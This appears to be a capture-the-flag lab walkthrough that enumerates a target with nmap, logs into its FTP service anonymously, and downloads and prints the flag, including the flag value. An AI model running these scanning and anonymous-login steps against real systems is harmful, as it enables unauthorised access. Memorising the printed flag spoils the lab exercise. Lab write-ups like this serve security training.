First, spawn the target machine. In this scenario, the machine’s IP address is 10.129.93.27.
Reconnaissance
The first step is to enumerate the open ports and services on the target machine using nmap:
└─$ sudo nmap -sC -sV 10.129.93.27[sudo] password for w1thre:Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-14 13:25 WIBRTTVAR has grown to over 2.3 seconds, decreasing to 2.0RTTVAR has grown to over 2.3 seconds, decreasing to 2.0Nmap scan report for 10.129.93.27Host is up (2.0s latency).Not shown: 999 closed tcp ports (reset)PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.3Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 52.57 secondsExplanation of nmap Options
-sV: Scans the discovered services to determine their versions.-sC: Performs a script scan using the default set of scripts.
From the enumeration results, we can see that the only open port is port 21, which indicates an FTP service is running on the target machine. Next, we will attempt to interact with this service.
Foothold
To interact with the FTP service, run the ftp command on your host:
└─$ ftp 10.129.93.27Connected to 10.129.93.27.220 (vsFTPd 3.0.3)Name (10.129.93.27:w1thre): anonymous331 Please specify the password.Password:230 Login successful.Remote system type is UNIX.Using binary mode to transfer files.ftp>After connecting to the FTP service, the prompt will ask for a username. Many FTP services are misconfigured to allow access using the anonymous account. Use anonymous as the username and either provide a random password or leave the password field blank.
Once logged in, search for files of interest using the ls command. Since cat cannot be used in the FTP session, any files need to be downloaded to your local machine for further inspection. For example, the flag.txt file can be downloaded using the get command:
ftp> ls229 Entering Extended Passive Mode (|||22248|)150 Here comes the directory listing.-rw-r--r-- 1 0 0 32 Jun 04 2021 flag.txt226 Directory send OK.ftp> get flag.txtlocal: flag.txt remote: flag.txt229 Entering Extended Passive Mode (|||49509|)150 Opening BINARY mode data connection for flag.txt (32 bytes).100% |************************************************| 32 90.84 KiB/s 00:00 ETA226 Transfer complete.32 bytes received in 00:00 (0.03 KiB/s)ftp> bye221 Goodbye.Flag
On your local machine, use the cat command to view the contents of the flag.txt file:
└─$ cat flag.txt035db21c881520061c53e0536e44f815Congratulations! You have successfully retrieved the flag.